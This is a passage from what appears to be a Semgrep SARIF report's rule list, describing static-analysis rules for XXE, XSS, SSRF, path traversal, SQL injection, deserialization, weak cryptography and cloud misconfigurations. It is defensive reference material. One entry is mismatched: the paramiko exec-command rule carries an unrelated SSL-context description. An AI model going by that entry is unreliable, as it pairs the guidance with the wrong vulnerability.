`$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"help":{"markdown":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","id":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","name":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","id":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","name":"go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"help":{"markdown":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)\n - [https://www.youtube.com/watch?v=CIhHpkybYsY](https://www.youtube.com/watch?v=CIhHpkybYsY)\n - [https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf](https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf)\n","text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal","id":"generic.nginx.security.alias-path-traversal.alias-path-traversal","name":"generic.nginx.security.alias-path-traversal.alias-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.alias-path-traversal.alias-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"help":{"markdown":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth)\n - [https://cwe.mitre.org/data/definitions/477.html](https://cwe.mitre.org/data/definitions/477.html)\n","text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"helpUri":"https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth","id":"python.pymongo.security.mongodb.mongo-client-bad-auth","name":"python.pymongo.security.mongodb.mongo-client-bad-auth","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.security.mongodb.mongo-client-bad-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py](https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","id":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","name":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.knex-express.knex-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.knex-express.knex-express","id":"javascript.express.db.knex-express.knex-express","name":"javascript.express.db.knex-express.knex-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.knex-express.knex-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"help":{"markdown":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor)\n - [https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption](https://stackoverflow.com/questions/1135186/whats-wrong-with-xor-encryption)\n","text":"Detected XOR cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use AES instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","id":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","name":"python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm.insecure-cipher-algorithm-xor"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","id":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","name":"java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization.objectinputstream-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.exec-detected.exec-detected","id":"python.lang.security.audit.exec-detected.exec-detected","name":"python.lang.security.audit.exec-detected.exec-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.exec-detected.exec-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"help":{"markdown":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security)\n - [https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration](https://www.playframework.com/documentation/2.8.x/SettingsSession#Session-Configuration)\n","text":"Session cookie `Secure` flag is explicitly disabled. The `secure` flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the `Secure` flag by setting `secure` to `true` in configuration file."},"helpUri":"https://semgrep.dev/r/scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","id":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","name":"scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.conf-insecure-cookie-settings.conf-insecure-cookie-settings"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"help":{"markdown":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2)\n - [https://jinja.palletsprojects.com/en/2.11.x/api/#basics](https://jinja.palletsprojects.com/en/2.11.x/api/#basics)\n","text":"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","id":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","name":"python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"help":{"markdown":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#master_password)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster#master_password)\n - [https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password](https://registry.terraform.io/providers/hashicorp/random/latest/docs/resources/password)\n","text":"RDS instance or cluster with hardcoded credentials in source code. It is recommended to pass the credentials at runtime, or generate random credentials using the random_password resource."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","id":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","name":"terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-insecure-password-storage-in-source-code.rds-insecure-password-storage-in-source-code"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"help":{"markdown":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ebs_volume#encrypted)\n - [https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html)\n","text":"The AWS EBS volume is unencrypted. The volume, the disk I/O and any derived snapshots could be read if compromised. Volumes should be encrypted to ensure sensitive data is stored securely."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","id":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","name":"terraform.aws.security.aws-ebs-volume-unencrypted.aws-ebs-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive 